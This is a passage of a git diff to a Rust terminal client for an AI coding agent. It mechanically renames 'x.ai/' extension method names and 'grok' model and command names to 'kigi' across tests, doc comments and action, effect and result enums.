                 std::sync::Arc::from(serde_json::value::to_raw_value(&payload).unwrap()),
             )
         }
@@ -882,7 +882,7 @@
             meta: Some(serde_json::json!({ "isReplay": true, "eventId": "sess-sub-3" })),
         };
         let notif = acp::ExtNotification::new(
-            "x.ai/session_notification",
+            "kigi/session_notification",
             serde_json::value::to_raw_value(&payload).unwrap().into(),
         );
         assert!(handle_ext_notification(&notif, &mut app));
@@ -996,12 +996,12 @@
         let id = AgentId(0);
         {
             let agent = app.agents.get_mut(&id).unwrap();
-            seed_models(agent, "grok-3", &["grok-3", "grok-4"]);
+            seed_models(agent, "kigi-3", &["kigi-3", "kigi-4"]);
         }
 
         // Unknown model → ignored → both markers untouched.
         assert!(!handle_ext_notification(
-            &model_changed_ext_with_event("sess-1", "grok-99-unknown", "sess-1-7"),
+            &model_changed_ext_with_event("sess-1", "kigi-99-unknown", "sess-1-7"),
             &mut app
         ));
         assert_eq!(
@@ -1015,7 +1015,7 @@
 
         // Known model → applied → both markers advance.
         assert!(handle_ext_notification(
-            &model_changed_ext_with_event("sess-1", "grok-4", "sess-1-8"),
+            &model_changed_ext_with_event("sess-1", "kigi-4", "sess-1-8"),
             &mut app
         ));
         assert_eq!(
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/scheduled_tasks.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/scheduled_tasks.rs
index ff11739..5d8b580 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/scheduled_tasks.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/scheduled_tasks.rs
@@ -51,7 +51,7 @@
 
     #[test]
     fn inject_prompt_drives_even_when_attached_as_viewer() {
-        // The leader routes `x.ai/scheduled_task_inject_prompt` to the SINGLE
+        // The leader routes `kigi/scheduled_task_inject_prompt` to the SINGLE
         // session driver, so any client that receives it IS the driver and must
         // enqueue + run it — even one that attached via `session/load`
         // (`attached_as_viewer == true`). Previously this handler latched on
@@ -92,7 +92,7 @@
     fn inject_prompt_malformed_json_returns_false() {
         let mut app = make_app_with_agent("sess-1");
         let raw = serde_json::value::to_raw_value(&"not a json object").unwrap();
-        let notif = acp::ExtNotification::new("x.ai/scheduled_task_inject_prompt", raw.into());
+        let notif = acp::ExtNotification::new("kigi/scheduled_task_inject_prompt", raw.into());
 
         // The JSON is valid (a string), but sessionId/prompt fields won't exist.
         let result = handle_scheduled_task_inject_prompt(&notif, &mut app);
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/settings.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/settings.rs
index c49b171..89bf861 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/settings.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/settings.rs
@@ -217,7 +217,7 @@
         app.current_ui.permission_mode = Some("ask".into());
 
         let killswitch = acp::ExtNotification::new(
-            "x.ai/settings/update",
+            "kigi/settings/update",
             serde_json::value::to_raw_value(
                 &serde_json::json!({ "auto_permission_mode_enabled": false }),
             )
@@ -253,7 +253,7 @@
         app.agents.get_mut(&AgentId(2)).unwrap().session.yolo_mode = true;
 
         let killswitch = acp::ExtNotification::new(
-            "x.ai/settings/update",
+            "kigi/settings/update",
             serde_json::value::to_raw_value(
                 &serde_json::json!({ "auto_permission_mode_enabled": false }),
             )
@@ -272,7 +272,7 @@
         let mut leave_auto_notifs = 0;
         while let Ok(msg) = rx.try_recv() {
             if let kigi_acp_lib::AcpAgentMessage::ExtNotification(args) = msg {
-                if args.request.method.as_ref() != "x.ai/yolo_mode_changed" {
+                if args.request.method.as_ref() != "kigi/yolo_mode_changed" {
                     continue;
                 }
                 let params: serde_json::Value =
@@ -302,7 +302,7 @@
         app.default_yolo = false;
 
         let apply_yolo = acp::ExtNotification::new(
-            "x.ai/settings/update",
+            "kigi/settings/update",
             serde_json::value::to_raw_value(&serde_json::json!({
                 "permission_mode": "always-approve",
             }))
@@ -334,7 +334,7 @@
         app.auto_mode_gate = true;
 
         let unrelated = acp::ExtNotification::new(
-            "x.ai/settings/update",
+            "kigi/settings/update",
             serde_json::value::to_raw_value(&serde_json::json!({
                 "show_resolved_model": true,
             }))
@@ -372,7 +372,7 @@
         app.current_ui.permission_mode = Some("sentinel-not-a-mode".into());
 
         let push = acp::ExtNotification::new(
-            "x.ai/settings/update",
+            "kigi/settings/update",
             serde_json::value::to_raw_value(&serde_json::json!({
                 "permission_mode": "always-approve",
             }))
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/subagents.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/subagents.rs
index cc2b47c..a6c8a32 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/subagents.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/subagents.rs
@@ -157,7 +157,7 @@
         );
     }
 
-    /// Regression: replay from `updates.jsonl` emits `x.ai/session/update` (not
+    /// Regression: replay from `updates.jsonl` emits `kigi/session/update` (not
     /// `session_notification`). Subagent lifecycle events must still populate
     /// `subagent_sessions` and the parent scrollback `SubagentBlock`.
     #[test]
@@ -168,7 +168,7 @@
         let affected = handle(
             make_ext_session_notification_with_method(
                 "sess-parent",
-                "x.ai/session/update",
+                "kigi/session/update",
                 test_subagent_spawned("sess-parent", child_sid),
             ),
             &mut app,
@@ -204,7 +204,7 @@
         let affected = handle(
             make_ext_session_notification_with_method(
                 "sess-parent",
-                "x.ai/session/update",
+                "kigi/session/update",
                 test_subagent_finished(child_sid),
             ),
             &mut app,
@@ -424,7 +424,7 @@
             let _ = handle(
                 make_ext_session_notification_with_method(
                     "sess-parent",
-                    "x.ai/session/update",
+                    "kigi/session/update",
                     test_subagent_finished(child_sid),
                 ),
                 &mut app,
@@ -674,9 +674,9 @@
     fn ext_session_notification_and_update_equivalent_for_subagent_spawned() {
         let child_sid = "child-equiv";
         let (spawn_notif, finish_notif) =
-            run_subagent_lifecycle_via_method("x.ai/session_notification", child_sid);
+            run_subagent_lifecycle_via_method("kigi/session_notification", child_sid);
         let (spawn_update, finish_update) =
-            run_subagent_lifecycle_via_method("x.ai/session/update", child_sid);
+            run_subagent_lifecycle_via_method("kigi/session/update", child_sid);
 
         assert_eq!(spawn_notif.description, spawn_update.description);
         assert_eq!(spawn_notif.subagent_type, spawn_update.subagent_type);
@@ -725,7 +725,7 @@
         let affected = handle(
             make_ext_session_notification_with_method(
                 "sess-A",
-                "x.ai/session/update",
+                "kigi/session/update",
                 test_subagent_spawned("sess-A", child_sid),
             ),
             &mut app,
@@ -757,7 +757,7 @@
         let affected = handle(
             make_ext_session_notification_with_method(
                 "sess-A",
-                "x.ai/session/update",
+                "kigi/session/update",
                 test_subagent_finished(child_sid),
             ),
             &mut app,
@@ -784,7 +784,7 @@
         let affected = handle(
             make_ext_session_notification_with_method(
                 "sess-unknown",
-                "x.ai/session/update",
+                "kigi/session/update",
                 test_subagent_spawned("sess-unknown", "child-unknown"),
             ),
             &mut app,
@@ -809,7 +809,7 @@
         // Valid JSON but not a SessionNotification — parse must fail quietly.
         let raw =
             serde_json::value::to_raw_value(&serde_json::json!({"unexpected": true})).unwrap();
-        let request = acp::ExtNotification::new("x.ai/session/update", raw.into());
+        let request = acp::ExtNotification::new("kigi/session/update", raw.into());
         let msg = AcpClientMessage::ExtNotification(kigi_acp_lib::AcpArgs {
             request,
             response_tx: tx,
@@ -819,7 +819,7 @@
 
         assert!(
             !affected,
-            "malformed x.ai/session/update params must not redraw"
+            "malformed kigi/session/update params must not redraw"
         );
         assert!(
             app.agents.get(&AgentId(0)).unwrap().scrollback.is_empty(),
diff --git a/crates/codegen/kigi-tui/src/app/acp_handler/tests/turn_completion.rs b/crates/codegen/kigi-tui/src/app/acp_handler/tests/turn_completion.rs
index 969f0bb..eb9df83 100644
--- a/crates/codegen/kigi-tui/src/app/acp_handler/tests/turn_completion.rs
+++ b/crates/codegen/kigi-tui/src/app/acp_handler/tests/turn_completion.rs
@@ -971,7 +971,7 @@
             .remove("will_wake")
             .expect("the typed builder stamps the field");
         let legacy = acp::ExtNotification::new(
-            "x.ai/task_completed",
+            "kigi/task_completed",
             std::sync::Arc::from(serde_json::value::to_raw_value(&v).unwrap()),
         );
         let _ = handle_ext_notification(&legacy, &mut app);
diff --git a/crates/codegen/kigi-tui/src/app/actions.rs b/crates/codegen/kigi-tui/src/app/actions.rs
index 205bf3b..c056d16 100644
--- a/crates/codegen/kigi-tui/src/app/actions.rs
+++ b/crates/codegen/kigi-tui/src/app/actions.rs
@@ -179,23 +179,23 @@ pub enum Action {
     /// Try to drain the next queued prompt (after editing completes, etc.).
     DrainQueue,
     /// Remove a server-authoritative (shared) queued prompt by its stable
-    /// `prompt_id`. Routed to the agent as `x.ai/queue/remove`;
-    /// the resulting `x.ai/queue/changed` rebroadcast is the source of truth.
+    /// `prompt_id`. Routed to the agent as `kigi/queue/remove`;
+    /// the resulting `kigi/queue/changed` rebroadcast is the source of truth.
     QueueRemoveShared {
         id: String,
         expected_version: u64,
     },
     /// Reorder the server-authoritative (shared) queued prompts to match
-    /// `ordered_ids`. Routed as `x.ai/queue/reorder`.
+    /// `ordered_ids`. Routed as `kigi/queue/reorder`.
     QueueReorderShared {
         ordered_ids: Vec<String>,
     },
     /// Clear the caller's server-authoritative (shared) queued prompts.
-    /// Routed as `x.ai/queue/clear`.
+    /// Routed as `kigi/queue/clear`.
     QueueClearShared,
     /// Replace the text of a server-authoritative (shared) queued prompt.
-    /// Routed to the agent as `x.ai/queue/edit`; the rebroadcast of
-    /// `x.ai/queue/changed` is the source of truth. Last write wins via the
+    /// Routed to the agent as `kigi/queue/edit`; the rebroadcast of
+    /// `kigi/queue/changed` is the source of truth. Last write wins via the
     /// session actor's serialized mailbox; no client-side conflict resolution.
     QueueEditShared {
         id: String,
@@ -203,8 +203,8 @@ pub enum Action {
     },
     /// Interject a server-authoritative (shared) queued prompt into the running
     /// turn: the agent atomically removes it from the queue and
-    /// merges its text into the in-flight turn. Routed as `x.ai/queue/interject`;
-    /// the `x.ai/session/interjection` + `x.ai/queue/changed` rebroadcasts are
+    /// merges its text into the in-flight turn. Routed as `kigi/queue/interject`;
+    /// the `kigi/session/interjection` + `kigi/queue/changed` rebroadcasts are
     /// the source of truth (no optimistic client-side block). Mirrors the local
     /// "Send now" / `Ctrl+Enter` path, which uses [`Interject`](Self::Interject)
     /// directly because the local queue is client-owned.
@@ -301,7 +301,7 @@ pub enum Action {
     /// duration. The dispatch handler renders + writes the file and arms
     /// `AppView::pending_pager_path`; the event loop does the suspend/restore.
     OpenTranscriptPager,
-    /// Minimal mode (`grok --minimal`): re-print the most-recently committed
+    /// Minimal mode (`kigi --minimal`): re-print the most-recently committed
     /// folded block (collapsed reasoning / truncated tool output) into native
     /// scrollback, fully expanded, below the conversation (design decision K10).
     /// Bound to `Ctrl+E` and the `/expand` command. No-op outside minimal mode
@@ -330,12 +330,12 @@ pub enum Action {
     ExecuteHooksAction(kigi_hooks_plugins_types::HooksAction),
     /// Execute a plugins management action from the modal.
     ExecutePluginsAction(kigi_hooks_plugins_types::PluginsAction),
-    /// Add or update an MCP server via x.ai/mcp/upsert.
+    /// Add or update an MCP server via kigi/mcp/upsert.
     UpsertMcpServer {
         name: String,
         config: Box<kigi_shell::util::config::McpServerConfig>,
     },
-    /// Delete an MCP server via x.ai/mcp/delete.
+    /// Delete an MCP server via kigi/mcp/delete.
     DeleteMcpServer {
         server_name: String,
     },
@@ -344,7 +344,7 @@ pub enum Action {
         server_name: String,
         enabled: bool,
     },
-    /// Toggle a skill enable/disable via x.ai/skills/toggle.
+    /// Toggle a skill enable/disable via kigi/skills/toggle.
     ToggleSkill {
         skill_name: String,
         enabled: bool,
@@ -373,7 +373,7 @@ pub enum Action {
     CancelScheduledTask(String),
     /// Demote the currently running execute tool to a background task.
     DemoteToBackground,
-    /// Request current bundle cache status via `x.ai/bundle/status`.
+    /// Request current bundle cache status via `kigi/bundle/status`.
     RequestBundleStatus,
     /// View a catalog entry's raw content in the block viewer.
     ViewCatalogEntry {
@@ -484,7 +484,7 @@ pub enum Action {
     SetContextualHintSendNow(bool),
     SetContextualHintSmallScreen(bool),
     SetContextualHintWordSelect(bool),
-    /// Commit the active theme (canonical name, e.g. `"groknight"`, `"auto"`).
+    /// Commit the active theme (canonical name, e.g. `"kiginight"`, `"auto"`).
     SetTheme(String),
     /// Commit the theme used when the OS is in dark mode. Only updates
     /// the live display when `theme = "auto"` AND system is in dark mode.
@@ -697,7 +697,7 @@ pub enum Action {
     },
     /// Persist the memory modal fullscreen preference to config.toml.
     PersistMemoryFullscreen(bool),
-    /// Open the Agent Dashboard view (`/dashboard`, `Ctrl+\`, `grok dashboard`).
+    /// Open the Agent Dashboard view (`/dashboard`, `Ctrl+\`, `kigi dashboard`).
     OpenDashboard,
     /// Close the dashboard, returning to the previous `ActiveView`.
     ExitDashboard,
@@ -913,7 +913,7 @@ pub enum Action {
 /// Persist-and-notify semantics for [`Effect::PersistPermissionMode`].
 ///
 /// Both variants write to `~/.kigi/config.toml` and route ACP
-/// `x.ai/yolo_mode_changed` notifications. The ACP notification is
+/// `kigi/yolo_mode_changed` notifications. The ACP notification is
 /// gated on disk-write success when `WithRollback` is used.
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub enum PermissionModePersist {
@@ -1352,7 +1352,7 @@ pub enum Effect {
     },
     /// Fetch session list for the welcome screen session picker.
     FetchSessionList {
-        /// Text search pushed down to `x.ai/session/list` as `query` (chat
+        /// Text search pushed down to `kigi/session/list` as `query` (chat
         /// mode: forwarded to the backend conversations search). `None`
         /// fetches the unfiltered list.
         query: Option<String>,
@@ -1367,11 +1367,11 @@ pub enum Effect {
     /// against the deep-search seq; chat: server refetch against the list seq).
     DebounceSessionSearch { query: String, seq: u64 },
     /// Fetch the leader session roster (FleetView dashboard) via
-    /// `x.ai/sessions/list`. Only issued in leader mode while the
+    /// `kigi/sessions/list`. Only issued in leader mode while the
     /// dashboard is open.
     FetchRoster,
     /// Fetch the local on-disk session list (dormant/idle sessions) for the
-    /// dashboard via `x.ai/session/list` — the non-leader fallback for the
+    /// dashboard via `kigi/session/list` — the non-leader fallback for the
     /// FleetView roster. Issued while the dashboard is open and NOT in leader
     /// mode so the dashboard shows idle sessions instead of being empty.
     FetchDashboardSessions,
@@ -1440,7 +1440,7 @@ pub enum Effect {
         session_id: acp::SessionId,
         task_id: String,
     },
-    /// Cancel a subagent via `x.ai/subagent/cancel`.
+    /// Cancel a subagent via `kigi/subagent/cancel`.
     KillSubagent {
         session_id: acp::SessionId,
         subagent_id: String,
@@ -1531,31 +1531,31 @@ pub enum Effect {
     /// Toggle plan mode — fire-and-forget signal to the shell.
     TogglePlanMode { session_id: acp::SessionId },
     /// Remove a server-owned queued prompt: fire-and-forget
-    /// `x.ai/queue/remove`. The agent re-broadcasts the authoritative queue.
+    /// `kigi/queue/remove`. The agent re-broadcasts the authoritative queue.
     QueueRemove {
         session_id: acp::SessionId,
         id: String,
         expected_version: u64,
     },
-    /// Reorder server-owned queued prompts: fire-and-forget `x.ai/queue/reorder`.
+    /// Reorder server-owned queued prompts: fire-and-forget `kigi/queue/reorder`.
     QueueReorder {
         session_id: acp::SessionId,
         ordered_ids: Vec<String>,
     },
     /// Clear the caller's server-owned queued prompts: fire-and-forget
-    /// `x.ai/queue/clear`.
+    /// `kigi/queue/clear`.
     QueueClear { session_id: acp::SessionId },
     /// Replace the text of a server-owned queued prompt in place: fire-and-forget
-    /// `x.ai/queue/edit`. The session actor's serialized mailbox makes this
+    /// `kigi/queue/edit`. The session actor's serialized mailbox makes this
     /// last-writer-wins for concurrent edits; the rebroadcast of
-    /// `x.ai/queue/changed` is the truth signal.
+    /// `kigi/queue/changed` is the truth signal.
     QueueEdit {
         session_id: acp::SessionId,
         id: String,
         new_text: String,
     },
     /// Interject a server-owned queued prompt into the running turn:
-    /// fire-and-forget `x.ai/queue/interject`. The session actor atomically
+    /// fire-and-forget `kigi/queue/interject`. The session actor atomically
     /// removes it from the queue and merges its text into the in-flight turn,
     /// then broadcasts both the interjection and the authoritative queue.
     /// `new_text` (when `Some`, serialized as `newText`) replaces the stored
@@ -1595,7 +1595,7 @@ pub enum Effect {
         cwd: std::path::PathBuf,
         session_id: String,
     },
-    /// Resolve the running agent name for a session (`x.ai/session/info`).
+    /// Resolve the running agent name for a session (`kigi/session/info`).
     FetchSessionAgentName {
         agent_id: AgentId,
         session_id: acp::SessionId,
@@ -1611,24 +1611,24 @@ pub enum Effect {
     PollAuthUrl { request_seq: u64 },
     /// Submit a manually-pasted auth code (ext request).
     SubmitAuthCode { request_seq: u64, code: String },
-    /// Fetch MCP server list from the shell (x.ai/mcp/list).
+    /// Fetch MCP server list from the shell (kigi/mcp/list).
     FetchMcpsList {
         agent_id: AgentId,
         session_id: acp::SessionId,
         cache: bool,
     },
-    /// Trigger MCP OAuth for a server (x.ai/mcp/auth_trigger).
+    /// Trigger MCP OAuth for a server (kigi/mcp/auth_trigger).
     McpAuthTrigger {
         agent_id: AgentId,
         session_id: acp::SessionId,
         server_name: String,
     },
-    /// Fetch hooks list from the shell (x.ai/hooks/list).
+    /// Fetch hooks list from the shell (kigi/hooks/list).
     FetchHooksList {
         agent_id: AgentId,
         session_id: acp::SessionId,
     },
-    /// Fetch plugins list from the shell (x.ai/plugins/list).
+    /// Fetch plugins list from the shell (kigi/plugins/list).
     FetchPluginsList {
         agent_id: AgentId,
         session_id: acp::SessionId,
@@ -1645,39 +1645,39 @@ pub enum Effect {
         session_id: acp::SessionId,
         action: kigi_hooks_plugins_types::PluginsAction,
     },
-    /// Fetch skills list from the shell (x.ai/skills/list).
+    /// Fetch skills list from the shell (kigi/skills/list).
     FetchSkillsList {
         agent_id: AgentId,
         session_id: acp::SessionId,
     },
-    /// Toggle a skill via x.ai/skills/toggle (enable/disable without restart).
+    /// Toggle a skill via kigi/skills/toggle (enable/disable without restart).
     ToggleSkill {
         agent_id: AgentId,
         session_id: acp::SessionId,
         skill_name: String,
         enabled: bool,
     },
-    /// Upsert an MCP server via x.ai/mcp/upsert.
+    /// Upsert an MCP server via kigi/mcp/upsert.
     UpsertMcpServer {
         agent_id: AgentId,
         session_id: acp::SessionId,
         name: String,
         config: Box<kigi_shell::util::config::McpServerConfig>,
     },
-    /// Delete an MCP server via x.ai/mcp/delete.
+    /// Delete an MCP server via kigi/mcp/delete.
     DeleteMcpServer {
         agent_id: AgentId,
         session_id: acp::SessionId,
         server_name: String,
     },
-    /// Live-toggle an MCP server via x.ai/mcp/toggle (no restart needed).
+    /// Live-toggle an MCP server via kigi/mcp/toggle (no restart needed).
     ToggleMcpServer {
         agent_id: AgentId,
         session_id: acp::SessionId,
         server_name: String,
         enabled: bool,
     },
-    /// Toggle a single MCP tool via x.ai/mcp/toggle_tool.
+    /// Toggle a single MCP tool via kigi/mcp/toggle_tool.
     ToggleMcpTool {
         agent_id: AgentId,
         session_id: acp::SessionId,
@@ -1685,20 +1685,20 @@ pub enum Effect {
         tool_name: String,
         enabled: bool,
     },
-    /// Fetch and display session info via x.ai/session/info.
+    /// Fetch and display session info via kigi/session/info.
     ShowSessionInfo {
         agent_id: AgentId,
         session_id: acp::SessionId,
         show_resolved_model: bool,
     },
-    /// Fetch and display detailed context usage via x.ai/session/info.
+    /// Fetch and display detailed context usage via kigi/session/info.
     ShowContextInfo {
         agent_id: AgentId,
         session_id: acp::SessionId,
     },
-    /// Fetch current bundle cache status via `x.ai/bundle/status`.
+    /// Fetch current bundle cache status via `kigi/bundle/status`.
     FetchBundleStatus,
-    /// Fetch a bundled entry's raw content via `x.ai/bundle/entry/get`.
+    /// Fetch a bundled entry's raw content via `kigi/bundle/entry/get`.
     FetchCatalogEntry { kind: String, name: String },
     /// Send feedback about the current session (fire-and-forget POST).
     SendFeedback {
@@ -1712,7 +1712,7 @@ pub enum Effect {
         text: String,
         cwd: std::path::PathBuf,
     },
-    /// Send raw note to x.ai/memory/rewrite for LLM-powered reformatting.
+    /// Send raw note to kigi/memory/rewrite for LLM-powered reformatting.
     /// On success, the rewritten text populates the prompt for inline review.
     /// On failure, falls back to showing the raw text for review.
     RewriteMemoryNote {
@@ -1733,31 +1733,31 @@ pub enum Effect {
         agent_id: AgentId,
         cwd: std::path::PathBuf,
     },
-    /// Fire a /btw side question via x.ai/btw ext method.
+    /// Fire a /btw side question via kigi/btw ext method.
     SendBtw {
         agent_id: AgentId,
         session_id: acp::SessionId,
         question: String,
     },
-    /// Request a session recap via the x.ai/recap ext method. Fire-and-forget:
+    /// Request a session recap via the kigi/recap ext method. Fire-and-forget:
     /// the recap arrives later as a `SessionRecap` notification.
     SendRecap {
         session_id: acp::SessionId,
         auto: bool,
     },
-    /// Send a mid-turn interjection via x.ai/interject ext method.
+    /// Send a mid-turn interjection via kigi/interject ext method.
     SendInterject {
         agent_id: AgentId,
         session_id: acp::SessionId,
         text: String,
-        /// Client-minted id echoed back on the `x.ai/session/interjection`
+        /// Client-minted id echoed back on the `kigi/session/interjection`
         /// broadcast so the originator can dedup its optimistic local block.
         interjection_id: String,
         /// Structured text + image content blocks. `None` for text-only
         /// interjections — the wire shape stays byte-identical to legacy.
         blocks: Option<Vec<acp::ContentBlock>>,
     },
-    /// Log out via `x.ai/auth/logout` (shell clears auth.json + in-memory state).
+    /// Log out via `kigi/auth/logout` (shell clears auth.json + in-memory state).
     Logout,
     /// Log out then authenticate sequentially in one task.
     SwitchAccount {
@@ -1785,7 +1785,7 @@ pub enum Effect {
         cwd: std::path::PathBuf,
     },
     /// Delete a session's stored data (local + remote) via
-    /// `x.ai/session/delete`.
+    /// `kigi/session/delete`.
     DeleteSession {
         source: String,
         session_id: String,
@@ -1793,7 +1793,7 @@ pub enum Effect {
     },
     /// Deep-search sessions by content (FTS via ACP).
     DeepSearchSessions { query: String, seq: u64 },
-    /// Call `x.ai/session/fork` to create a peer session that resumes
+    /// Call `kigi/session/fork` to create a peer session that resumes
     /// from `parent_session_id` in the same cwd (no worktree). Mirror of
     /// the worktree branch of [`Effect::CreateWorktreeSession`]; the
     /// worktree-fork path reuses `CreateWorktreeSession { load_session_id }`
@@ -1833,14 +1833,14 @@ pub enum Effect {
         target_prompt_index: usize,
         mode: crate::views::rewind::RewindMode,
     },
-    /// Fetch Kimi usage/quota rows from the agent's `x.ai/billing`
+    /// Fetch Kimi usage/quota rows from the agent's `kigi/billing`
     /// extension (`GET {base}/usages` shell-side) for the `/usage` view.
     FetchUsage { agent_id: AgentId },
     /// Spawn a debounce sleep task for shell suggestions. `agent_id` rides
     /// to the expiry so the fetch is built from the arming agent, not
     /// whatever view is active when the timer fires.
     DebounceSuggestions { agent_id: AgentId, generation: u64 },
-    /// Send an ACP `x.ai/suggest` request to the shell. `agent_id` is echoed
+    /// Send an ACP `kigi/suggest` request to the shell. `agent_id` is echoed
     /// on the result so the response routes to the agent that fetched, not
     /// whatever view is active when it lands.
     FetchShellSuggestions {
@@ -1857,13 +1857,13 @@ pub enum Effect {
         /// (path/file); the as-you-type surface keeps all of them.
         token_only: bool,
     },
-    /// Send an ACP `x.ai/suggestPrompt` request to the shell — predict the
+    /// Send an ACP `kigi/suggestPrompt` request to the shell — predict the
     /// user's likely next prompt after a completed turn (tab autocomplete
     /// ghost text).
     FetchPromptSuggestion {
         agent_id: AgentId,
         generation: u64,
-        /// Suggestion model resolved by the pager (`grok-build-0.1` when the
+        /// Suggestion model resolved by the pager (`kigi-0.1` when the
         /// catalog offers it); `None` = shell falls back to the session model.
         model: Option<String>,
         session_id: Option<String>,
@@ -1884,7 +1884,7 @@ pub enum Effect {
         preparation: crate::prompt_images::PromptImagePreviewPreparation,
     },
 }
-/// Outcome of an `x.ai/subagent/cancel` request, telling dispatch whether the
+/// Outcome of an `kigi/subagent/cancel` request, telling dispatch whether the
 /// pager must finalize the subagent row itself.
 #[derive(Debug)]
 pub enum SubagentKillOutcome {
@@ -1951,7 +1951,7 @@ pub enum TaskResult {
         restore_summary: Option<String>,
         restore_degree: Option<kigi_workspace::session::git::RestoreDegree>,
         /// The session's in-flight running prompt id (from the load response
-        /// `_meta["x.ai/runningPromptId"]`), present only when the session was
+        /// `_meta["kigi/runningPromptId"]`), present only when the session was
         /// loaded MID-turn (another client is driving). The loader adopts it to
         /// pass the live `session/update` gate without re-rendering the user
         /// block (replay already rendered it).
@@ -2014,7 +2014,7 @@ pub enum TaskResult {
         query: String,
         seq: u64,
     },
-    /// Leader session roster loaded via `x.ai/sessions/list`.
+    /// Leader session roster loaded via `kigi/sessions/list`.
     RosterLoaded {
         sessions: Vec<crate::app::roster::RosterEntry>,
     },
@@ -2085,7 +2085,7 @@ pub enum TaskResult {
     /// Cancel notification was sent (fire-and-forget).
     /// The real turn end comes via PromptResponse.
     CancelComplete,
-    /// Response to `x.ai/subagent/cancel`; see [`SubagentKillOutcome`].
+    /// Response to `kigi/subagent/cancel`; see [`SubagentKillOutcome`].
     KillSubagentComplete {
         session_id: acp::SessionId,
         subagent_id: String,
@@ -2155,7 +2155,7 @@ pub enum TaskResult {
         /// Deprecated: superseded by `mode` (authoritative). Kept only as a
         /// back-compat fallback for older agents that don't send `mode`.
         external: bool,
-        /// Presentation mode from `x.ai/auth/get_url`; `None` on older agents.
+        /// Presentation mode from `kigi/auth/get_url`; `None` on older agents.
         mode: Option<String>,
     },
     /// Auth code was submitted (fire-and-forget).
@@ -2303,7 +2303,7 @@ pub enum TaskResult {
         agent_id: AgentId,
         result: Result<String, String>,
     },
-    /// `x.ai/recap` request acknowledged (fire-and-forget). The recap itself
+    /// `kigi/recap` request acknowledged (fire-and-forget). The recap itself
     /// arrives separately as a `SessionRecap` notification; this only carries
     /// a transport error, if any, for logging.
     RecapRequested {
@@ -2342,7 +2342,7 @@ pub enum TaskResult {
         results: Vec<kigi_shell::extensions::session_search::SearchSessionHit>,
         seq: u64,
     },
-    /// `x.ai/session/fork` completed (no-worktree path). The pager adopts
+    /// `kigi/session/fork` completed (no-worktree path). The pager adopts
     /// the new session id and emits [`Effect::LoadSession`] to start the
     /// replay. Mirrors [`TaskResult::WorktreeForked`] in shape.
     ForkSessionReady {
@@ -2350,7 +2350,7 @@ pub enum TaskResult {
         new_session_id: acp::SessionId,
         cwd: std::path::PathBuf,
     },
-    /// `x.ai/session/fork` failed. The placeholder agent stays in
+    /// `kigi/session/fork` failed. The placeholder agent stays in
     /// `app.agents` with no `session_id` so the user can switch away.
     ForkSessionFailed {
         agent_id: AgentId,
@@ -2393,7 +2393,7 @@ pub enum TaskResult {
         agent_id: AgentId,
         generation: u64,
     },
-    /// Shell suggestions loaded from ACP `x.ai/suggest`. `request_text` /
+    /// Shell suggestions loaded from ACP `kigi/suggest`. `request_text` /
     /// `request_cursor` echo what the request was built from — the anchor
     /// the items' `replaceRange` offsets index into and the position Tab
     /// targets, paired atomically with them; `agent_id` routes the landing
@@ -2404,7 +2404,7 @@ pub enum TaskResult {
         request_text: String,
         request_cursor: usize,
     },
-    /// Predicted next prompt loaded from ACP `x.ai/suggestPrompt`.
+    /// Predicted next prompt loaded from ACP `kigi/suggestPrompt`.
     /// `suggestion` is `None` when the shell had nothing to suggest.
     PromptSuggestionLoaded {
         agent_id: AgentId,
diff --git a/crates/codegen/kigi-tui/src/app/agent.rs b/crates/codegen/kigi-tui/src/app/agent.rs
index 22a1294..1c6a6cc 100644
--- a/crates/codegen/kigi-tui/src/app/agent.rs
+++ b/crates/codegen/kigi-tui/src/app/agent.rs
@@ -133,7 +133,7 @@ pub enum AgentCommand {
     RestoreCode,
     /// Forking the current session into a peer (no-worktree path).
     /// Drives the spinner shown on the placeholder agent while the
-    /// `x.ai/session/fork` request is in flight.
+    /// `kigi/session/fork` request is in flight.
     ForkSession,
 }
 impl AgentCommand {
@@ -627,11 +627,11 @@ pub struct AgentSession {
     /// `yolo_mode` (yolo wins).
     pub(crate) auto_mode: bool,
     /// Prompt history for the current session, fetched from ACP
-    /// (`x.ai/prompt_history` scoped via `filter_session_id`). Most-recent-first.
+    /// (`kigi/prompt_history` scoped via `filter_session_id`). Most-recent-first.
     /// Fetched on session create/load; prompts sent in this session are
     /// additionally front-inserted locally on send.
     pub prompt_history: Vec<String>,
-    /// True until the session's startup/load `x.ai/prompt_history` fetch completes.
+    /// True until the session's startup/load `kigi/prompt_history` fetch completes.
     pub prompt_history_loading: bool,
     /// Session is currently replaying historical updates from `session/load`.
     /// Used to suppress live-style redraw/render work until the load completes.
diff --git a/crates/codegen/kigi-tui/src/app/agent_view/cta.rs b/crates/codegen/kigi-tui/src/app/agent_view/cta.rs
index 40de517..c648ebe 100644
--- a/crates/codegen/kigi-tui/src/app/agent_view/cta.rs
+++ b/crates/codegen/kigi-tui/src/app/agent_view/cta.rs
@@ -52,7 +52,7 @@ impl AgentView {
         }
     }
 
-    /// Apply an `x.ai/follow_ups` notification, keyed by `response_id`
+    /// Apply an `kigi/follow_ups` notification, keyed by `response_id`
     /// (newest-response-wins).
     ///
     /// Monotonic accept-the-newer: a never-seen `response_id` is strictly newer
@@ -78,7 +78,7 @@ impl AgentView {
     }
 
     /// `apply_follow_ups` with the turn identity (`prompt_id`) the shell stamps
-    /// on each `x.ai/follow_ups` notification (the same `promptId` it stamps on
+    /// on each `kigi/follow_ups` notification (the same `promptId` it stamps on
     /// every `session/update`). The identity makes viewer-adoption dedup
     /// DETERMINISTIC:
     ///
@@ -86,7 +86,7 @@ impl AgentView {
     ///   `prompt_id` equals `session.current_prompt_id`) re-renders even when its
     ///   chips were cleared by turn adoption — so chips that were applied then
     ///   cleared reappear instead of being lost until reload.
-    /// - A buffer-replayed `x.ai/follow_ups` for a PRIOR turn's `response_id`
